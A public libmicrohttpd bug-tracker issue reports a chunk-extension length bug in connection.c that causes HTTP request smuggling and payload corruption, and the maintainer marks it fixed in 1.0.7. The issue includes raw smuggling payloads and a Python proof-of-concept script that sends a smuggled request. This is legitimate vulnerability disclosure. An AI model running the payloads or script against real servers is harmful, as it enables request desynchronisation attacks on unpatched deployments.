View Issue Details

IDProjectCategoryView StatusLast Update
0011680libmicrohttpdotherpublic2026-07-28 23:42
Reporteraramosf Assigned ToChristian Grothoff  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product VersionGit master 
Target Version1.0.7Fixed in Version1.0.7 
Summary0011680: connection.c: chunk-extension line length off by two — request smuggling
DescriptionSeverity: High — HTTP request smuggling (CWE-444); also corrupts the payload
          delivered to the application for legitimate clients
Class: CWE-444 (Inconsistent Interpretation of HTTP Messages)
Status: reproduced against a plain echo handler, no application cooperation.
          Patch supplied and verified (corruption and double-reply both stop).

SUMMARY
-------
The chunk-extension branch computes the chunk-size line length as the index OF
the CR/LF terminator, while the sibling no-extension branch 20 lines below
correctly consumes the terminator. The terminator is therefore left in the
buffer and becomes the first bytes of the chunk payload, desynchronising chunk
framing.

This needs no application cooperation: any application that accepts a
chunked POST body is affected. It also breaks *legitimate* clients that use
chunk extensions, which are valid HTTP/1.1 — so it is a correctness bug as well
as a security one.

ROOT CAUSE
----------
connection.c:4648-4660, the chunk-extension branch:

    if ('\r' == buffer_head[i]) {
      if ('\n' == buffer_head[i + 1])
        chunk_size_line_len = i; /* index OF the CR */
    } else {
      if (bare_lf_as_crlf)
        chunk_size_line_len = i; /* index OF the LF */
    }

while the no-extension branch (connection.c:4676-4681) consumes it:

    chunk_size_line_len = num_dig + 2; /* CRLF */
    … else …
    chunk_size_line_len = num_dig + 1; /* bare LF */

PROVENANCE
----------
The ChangeLog suggests the current form dates from commit 1e43edd5 ("reject
bare CR in chunk extension"), released in 1.0.3 — before that it was off by
one. I have only tested 1.0.6, so I have not verified the introduction point;
it is included only as a lead.

After the patch: the extension case delivers "ABCDE" and returns 200 (it
previously returned 400), and the smuggling attempt produces a single response
with the injected request rejected.

Version note: tested against 1.0.6 only.
Steps To ReproduceREPRODUCERS
-----------
(a) Payload corruption. Against a handler that logs exactly what upload_data it
    is handed:

    Control, chunk WITHOUT an extension:
        5\r\nABCDE\r\n0\r\n\r\n
        -> application receives "ABCDE" (correct)

    Same chunk WITH an extension:
        5;x=y\r\nABCDE\r\n0\r\n\r\n
        -> application receives "\r\nABC" (WRONG: the CRLF is injected into
                                              the payload, and two bytes are
                                              stolen from the end)

    Note the extension case also returns 400 to the client (the final chunk is
    mis-framed), so a legitimate extension-using client fails outright.

(b) Request smuggling. A last-chunk with an extension, followed by a second
    request:

        POST /echo HTTP/1.1
        Transfer-Encoding: chunked

        0;x\r\nGET /SMUGGLED HTTP/1.1\r\nHost: v\r\n\r\n

    -> TWO 200 OK responses to one request. The trailer section is swallowed
       and the attacker's bytes are executed as a second pipelined request.

TEST

#!/usr/bin/env python3
"""libmicrohttpd 1.0.6 - #2 chunk-extension off-by-two.
(a) payload corruption, (b) request smuggling. No app cooperation.
usage: poc2_smuggle.py <host> <port>"""
import socket, sys
h, p = sys.argv[1], int(sys.argv[2])
def talk(b, t=2.5):
    s = socket.create_connection((h, p), 3); s.settimeout(t); s.sendall(b)
    d = b""
    try:
        while True:
            c = s.recv(65536)
            if not c: break
            d += c
    except socket.timeout: pass
    s.close(); return d
hdr = b"POST /echo HTTP/1.1\r\nHost: v\r\nTransfer-Encoding: chunked\r\n\r\n"
print("(a) control, no extension -> app should receive 'ABCDE'")
talk(hdr + b"5\r\nABCDE\r\n0\r\n\r\n")
print("(a) with extension -> app receives '\\r\\nABC' instead")
talk(hdr + b"5;x=y\r\nABCDE\r\n0\r\n\r\n")
print(" (check the server's own log of what it was handed)")
r = talk(hdr + b"0;x\r\nGET /SMUGGLED HTTP/1.1\r\nHost: v\r\n\r\n")
n = r.count(b"HTTP/1.1 ")
print("(b) smuggling: %d response(s) to 1 request %s"
      % (n, "<-- DESYNC" if n >= 2 else ""))
TagsNo tags attached.

Activities

There are no notes attached to this issue.

Issue History

Date Modified Username Field Change
2026-07-27 10:52 aramosf New Issue
2026-07-27 18:21 Christian Grothoff Assigned To => Christian Grothoff
2026-07-27 18:21 Christian Grothoff Status new => resolved
2026-07-27 18:21 Christian Grothoff Resolution open => fixed
2026-07-27 18:21 Christian Grothoff Fixed in Version => 1.0.7
2026-07-27 18:22 Christian Grothoff Product Version => Git master
2026-07-27 18:22 Christian Grothoff Target Version => 1.0.7
2026-07-28 23:42 Christian Grothoff View Status private => public
2026-07-28 23:42 Christian Grothoff Status resolved => closed